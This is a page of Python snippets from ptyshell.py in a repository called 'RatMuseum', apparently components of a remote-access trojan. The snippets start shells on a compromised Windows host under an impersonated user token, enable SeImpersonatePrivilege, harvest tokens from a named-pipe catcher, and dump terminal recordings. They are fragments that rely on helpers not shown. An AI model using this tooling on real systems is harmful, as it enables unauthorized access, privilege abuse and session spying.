コード例 #1
0
ファイル: ptyshell.py プロジェクト: midnightslacker/RatMuseum
def acquire(argv=None, term=None, suid=None):
    shell = manager.get(PtyShell)

    new = False
    if not (shell and shell.active):
        shell = manager.create(PtyShell, argv, term, suid)

        new = True

    return new, shell
コード例 #2
0
def acquire(argv=None, term=None, suid=None):
    shell = manager.get(PtyShell)

    new = False
    if not (shell and shell.active):
        htoken = None
        hCurrentToken = None

        if suid:
            sid = None
            if suid.startswith('S-1-'):
                sid = suid
            else:
                sid = sidbyname(suid)

                if not sid:
                    raise ValueError('Unknown username {}'.format(
                        suid.encode('utf-8')))

            hSidToken = getSidToken(sid)
            if hSidToken is None:
                raise ValueError("Couldn't impersonate sid {}".format(sid))

            hCurrentToken = get_thread_token()
            if not token_impersonated_as_system(hCurrentToken):
                try:
                    EnablePrivilege('SeImpersonatePrivilege')
                except ValueError:
                    raise ValueError(
                        'Impersonate control thread as SYSTEM first')

            htoken = (hCurrentToken, hSidToken)

        try:
            shell = manager.create(PtyShell, argv, term, htoken)
        finally:
            if hCurrentToken:
                CloseHandle(hCurrentToken)

        new = True

    return new, shell
コード例 #3
0
def dump():
    ttyrec = manager.get(TTYRec)
    if ttyrec:
        return ttyrec.results
コード例 #4
0
def catcher_stop():
    catcher_sync()
    catcher = manager.get(PipeCatcher)
    if catcher:
        manager.stop(PipeCatcher)
コード例 #5
0
def catcher_sync():
    catcher = manager.get(PipeCatcher)
    if catcher:
        for sid, token in catcher.tokens.iteritems():
            if sid not in IMPERSONATION_TOKENS:
                IMPERSONATION_TOKENS[sid] = token
コード例 #6
0
def catcher_dump():
    catcher = manager.get(PipeCatcher)

    if catcher:
        return catcher.results